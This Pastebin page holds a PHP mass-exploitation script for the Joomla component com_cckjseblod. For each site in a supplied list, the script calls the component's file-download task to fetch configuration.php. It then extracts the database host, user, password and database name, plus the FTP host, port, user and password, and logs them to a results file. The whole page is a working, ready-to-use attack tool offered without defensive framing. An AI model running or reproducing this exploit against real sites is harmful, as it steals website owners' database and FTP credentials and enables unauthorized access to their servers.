Advertisement
PenjagaMasjid

Auto exploit com_cckjseblod

May 15th, 2016
1,270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.37 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. @set_time_limit(0);
  4.  
  5. print "
  6. ___________.__ .___ _______ .___
  7. \_ _____/| | __| _/___________ ______ ____ \ _ \ __| _/____
  8. | __)_ | | / __ |/ __ \_ __ \/ ___// ___\/ /_\ \ / __ |/ __ \
  9. | \| |__/ /_/ \ ___/| | \/\___ \\ \___\ \_/ \/ /_/ \ ___/
  10. /_______ /|____/\____ |\___ >__| /____ >\___ >\_____ /\____ |\___ >
  11. \/ \/ \/ \/ \/ \/ \/ \/
  12. The Hacker make tool not tool make a hacker :)
  13. " ;
  14.  
  15. $y=@file_get_contents($argv[1]);
  16. $ec=explode("\r\n",$y);
  17. $open=fopen("result.html","a");
  18.  
  19. foreach ($ec as $links){
  20. $lofe="$links/index.php?option=com_cckjseblod&task=download&file=configuration.php";
  21. $gg=@file_get_contents($lofe);
  22. if(preg_match("#class JConfig#",$gg)){
  23. echo "\n[+] $links ==> infected\n";fwrite($open,"<br>[+] $links <br>");
  24. preg_match("#tmp_path = '(.*?)\/tmp';#",$gg,$r);echo " [-] path of site : $r[1]/\n";fwrite($open,"path of site : $r[1] <br>");
  25.  
  26. echo "\t[*]>--database informations --< \n"; ///// Database info
  27. preg_match("#host = '(.*?)';#",$gg,$r);echo "\t\t[!] Host : $r[1]\n";fwrite($open,"host : $r[1] <br>");
  28. preg_match_all("#user = '(.*?)';#",$gg,$rr);echo "\t\t[!] user : ".$rr[1][1]."\n";$aaa=$rr[1][1];fwrite($open,"user :$aaa <br>");
  29. preg_match("#password = '(.*?)';#",$gg,$r);echo "\t\t[!] password : $r[1]\n";fwrite($open,"pass : $r[1] <br>");
  30. preg_match("#db = '(.*?)';#",$gg,$r);echo "\t\t[!] Database : $r[1]\n";fwrite($open,"db: $r[1] <br>");
  31.  
  32. echo "\t[*]>--Ftp informations --< \n"; /////// Ftp info
  33. preg_match("#ftp_enable = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp enable : $r[1]\n";
  34. preg_match("#ftp_host = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp_host : $r[1]\n";fwrite($open,"ftp-host : $r[1] <br>");
  35. preg_match("#ftp_port = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp port : $r[1]\n";fwrite($open,"ftp-port : $r[1] <br>");
  36. preg_match("#ftp_user = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp user : $r[1]\n";fwrite($open,"ftp-user : $r[1] <br>");
  37. preg_match("#ftp_pass = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp pass : $r[1]\n";fwrite($open,"ftp-pass : $r[1] <br>");
  38. preg_match("#ftp_root = '(.*?)';#",$gg,$r);echo "\t\t[!] ftp root : $r[1]\n";
  39. }else{
  40. echo "\n[+] $links ==> Not infected\n";
  41. }
  42. }
  43. fclose($open);
  44. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement